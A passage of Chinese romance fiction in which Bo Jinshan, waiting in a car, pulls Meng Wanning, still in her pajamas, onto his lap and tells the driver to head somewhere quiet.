才一日不见,孟绾甯竟觉得他又成熟了几分。 正看得出神,没成想薄瑾杉突然睁开了眼。他低头看了看手表,像是有感应似的,往车窗外一望,恰好捕捉到她发呆的模样。 薄瑾杉看她一眼,眉梢微挑:“下来了怎么不上车。” 孟绾甯拉开车门,看见他身上挺括的西装,再低头看看自己,蕾丝花边睡衣,一幅不修边幅的样子,顿时扭捏起来。 她揉了揉鼻子,垂下眼睛:“要不我上去换身衣服吧。” “不用。”薄瑾杉看着她,朝她招手,“过来。” 孟绾甯瞥了一眼前座,有司机在,面生得很。 薄瑾杉没有给她腾位置,就坐在靠近她那一侧的后座上,纹丝未动。 孟绾甯犹豫了一瞬,抬脚踩着车门框,想越过他坐到另一侧去。还没等她跨过去,薄瑾杉便揽住她的腰,一下将她抱到了腿上。 “上哪去。”薄瑾杉贴在她耳边问。 孟绾甯半边身子立刻软了,小鸟依人的,顺从地搂住他的脖子,软声说:“不去哪。” 顾及着车里还有第三个人,薄瑾杉只盯她看了一会儿,便微微偏头,对前座的司机吩咐道:“开远一些,找个人少的地方。”